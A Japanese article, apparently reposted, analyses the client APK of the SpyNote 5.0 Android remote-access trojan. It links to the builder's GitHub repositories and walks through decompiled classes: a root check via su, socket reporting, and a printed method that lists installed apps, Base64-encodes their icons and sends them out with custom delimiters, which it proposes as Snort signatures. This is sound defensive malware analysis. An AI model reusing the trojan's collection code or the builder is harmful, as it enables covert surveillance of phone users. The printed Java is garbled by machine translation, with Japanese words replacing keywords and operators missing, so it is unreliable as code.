ホームページ  >  記事  >  運用・保守  >  SpyNote5.0 Client_APKの逆解析を行う方法

SpyNote5.0 Client_APKの逆解析を行う方法

王林
王林転載
2023-05-22 16:18:301296ブラウズ

1. SpyNote5.0 とは何ですか?

SpyNote は、Android の悪意のあるプログラムを作成するために使用されるツールです。その機能は非常に目を引くもので、連絡先の読み取り、記録、コマンドの実行、アプリケーションの管理、キーボードの記録、GPS 測位の実行などが含まれますが、これらに限定されません。これらの機能は、Android マルウェアを研究する際に重要な役割を果たします。 「SpyNote V5.0 グラフィカル ツール リモート管理 Android フォン チュートリアル」、「Android トロイの木馬ツール SpyNote は無料なので注意してください!」という一連の記事を通じて、その使用方法を予備的に理解することができます。遠隔監視はとても簡単です」、「Android の遠隔操作 (スパイノート) がバージョンアップしたので注意してください...」など。

2. ツールの準備

SpyNote5.0 Client_APK の逆解析に興味がある人は少ないと思いますので、以下でツールの使い方を簡単に紹介し、その後、逆解析プロセスを開始します。

1. SpyNote5.0

ダウンロード アドレス: https://github.com/soDLL/SpyNote または https://github.com/miladzero/SpyNote

怎么进行SpyNote5.0 Client_APK逆向分析

2、jadx-gui

ダウンロード アドレス: https://github.com/skylot/jadx/releases

怎么进行SpyNote5.0 Client_APK逆向分析

3. androidkiller

ダウンロード アドレス: https://www.guguzhu.com/soft/270509.html

怎么进行SpyNote5.0 Client_APK逆向分析

3. 逆解析の開始

Client_APK の分析を開始します。通常は、クライアントによって生成された APK プログラムを androidkiller にドラッグします。プログラムを AndroidKiller にドラッグすると、自動的にプログラムが逆アセンブルされ、解析結果が生成されます。

怎么进行SpyNote5.0 Client_APK逆向分析

左側では、アクティビティ、レシーバー、サービス、アプリケーション権限 (Uses-Permission) が継承関係に従って分類されており、クライアントが多くのアプリケーション権限を必要としていることがわかります。 。右側には smail アセンブリ ウィンドウとワークベンチがあります。このツールは、権限やさまざまな継承関係を明確に表示できますが、ツールのバージョンが低いため、コードの復元が十分に完了していません。ツールを変更してjadx-guiを使用し、リバースエンジニアリングを開始してClient_APKをインポートしました。

怎么进行SpyNote5.0 Client_APK逆向分析

android.support、con.eset.ems2.gp、yps.eton.application という 3 つのパッケージが表示されます。このうち、android.support は、下位バージョン、v4、および v7 を含む Android サポート パッケージであり、con.eset.ems2.gp は、host、client_name およびその他の情報を含む構成パッケージです。分析する必要があります。

yps.eton.application を開くと 14 個のクラスが表示されますが、解析する必要があるコードが多いため、いくつかの重要なコードを重点的に解析しています。

怎么进行SpyNote5.0 Client_APK逆向分析

前述の androidkiller の分析構造から、クラス A、F、G、k の記述が Service を継承し、Service がバックグラウンドでの継続的な実行を表すことがわかります。アンドロイドシステム。推測してみましょう。Client_APK で実行を続けるには何が必要でしょうか?おそらく、主要なオブジェクトは継続的に実行、制御、監視、マルチスレッド化などされるでしょう。私たちの分析は、その機能の一部とトラフィックの識別方法に焦点を当てています。

3.1 コマンド実行起動分析

メソッド A から開始し、最初にサービスを開始し、次に R オブジェクトを走査して 3 番目の要素を取得します。それが 1 に等しい場合は、j( ) 関数。それ以外の場合は、a() がインスタンス化されているかどうかを確認してからサービスを開始します。その後、j() に root 権限があるかどうかの判断が続けられます。

怎么进行SpyNote5.0 Client_APK逆向分析

j() の確認を続けます。j() で su コマンドを実行した後、Do I have root? をファイル /system/sd/temporary.txt に書き込みます。 . ルート権限があるかどうかを確認します。

怎么进行SpyNote5.0 Client_APK逆向分析

次に、h() を見てみましょう。これは、マルチスレッドを使用して R オブジェクトに格納されている構成パラメーターを取得し、ループとソケットを使用して情報を返します。

怎么进行SpyNote5.0 Client_APK逆向分析

3.2 Base64エンコードアプリケーションの部分機能解析

オブジェクトAのインポートリストを見ると、android.util.Base64が含まれていることがわかりました。 、操作中に Base64 エンコードが使用されることを示します。次に、キーワード Base64 を検索すると、Base64 が ((BitmapDrawable) applicationIcon).getBitmap() でラップされていることがわかります。これは実際には内部のアプリケーション アイコンです。クライアントは、9xf89fff9xf89 で終わる c0c1c3a2c0c1c セグメンテーションを通じて一部の情報を渡し、例外情報とオプションに fxf0x4x4x0fxf を使用します。

<br>
<br>

public void k() { new Thread(new Runnable() { public void run() { String str; try { StringBuffer stringBuffer = new StringBuffer() ; PackageManager packageManager = A.this.getApplicationContext().getPackageManager( ); for (ApplicationInfo applicationInfo : packageManager.getInstalledApplications(128)) { if (packageManager.getLaunchIntentForPackage(applicationInfo.packageName) != null && !packageManager.getLaunchIntentForPackage (applicationInfo.packageName).equals("")) { try { Date date = new Date(packageManager.getPackageInfo(applicationInfo.packageName, 4096).firstInstallTime); String str2 = packageManager.getLaunchIntentForPackage(applicationInfo.packageName) != null ? (applicationInfo.flags & 1) == 1 ? "システム" : "ユーザー" : ""; Drawable applicationIcon = packageManager.getApplicationIcon(applicationInfo.packageName);文字列 str3 = 新しい文字列(); if (applicationIcon != null) { ビットマップ bitmap = ((BitmapDrawable) applicationIcon).getBitmap(); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); bitmap.compress(CompressFormat.JPEG, 50, byteArrayOutputStream); str = Base64.encodeToString(byteArrayOutputStream.toByteArray(), 2); } else { str = str3; } stringBuffer.append(packageManager.getApplicationLabel(applicationInfo) "c0c1c3a2c0c1c" applicationInfo.packageName "c0c1c3a2c0c1c" str "c0c1c3a2c0c1c" str2 "c0c1c3a2c 0c1c" date.toString() "c0c1c3a2c0c1c" A.this.getPackageName() "9xf89fff9xf89"); catch (NameNotFoundException e) { A.this.h("applicationsfxf0x4x4x0fxf[My/Exception]" e.getMessage().toString()); } } } A.this.h("applicationsfxf0x4x4x0fxf" stringBuffer.toString()); catch (例外 e2) { A.this.h("applicationsfxf0x4x4x0fxf[My/Exception]" e2.getMessage().toString()); } } })。始める(); }

3.3 情報取得部分機能分析

オブジェクト A には非常に長いメソッド b が含まれており、switch case ステートメントの分岐が多すぎるため、逆アセンブリで例外が発生します。コメントから、情報を取得するためのロジックのほとんどがコメント内に実装されていることがわかります。例: デバイス情報、システム情報、Sim 情報、WIFI 情報など。ツールによって促進される機能も含まれます。

怎么进行SpyNote5.0 Client_APK逆向分析

#ストレージ パスを取得するために使用されるメソッド b の書き換えには、注目に値する点がいくつかあります。伝送路情報のデリミタはe1x1114x61114eを使用します。ファイル名情報の区切り文字には、-1c0c1c3a2c0c1c-1c0c1c3a2c0c1c-1c0c1c3a2c0c1c が使用されます。この情報を使用すると、配信中のクライアントの操作をより正確に判断できます。

怎么进行SpyNote5.0 Client_APK逆向分析

4. 概要

分析プロセス中に、各関数の実装を確認できます。クライアントが非暗号化および Base エンコードの送信を使用する場合、最も注目すべき機能は区切り文字の出現です。クライアントの送信動作はプログラムを通じて効果的に判断できます。したがって、パケットは送信プロセス中にキャプチャされます。

怎么进行SpyNote5.0 Client_APK逆向分析

区切り記号と Base64 エンコードの内容が図ではっきりと確認できます。この点については、Snort で識別用のルールを記述することができます。 )

以上がSpyNote5.0 Client_APKの逆解析を行う方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。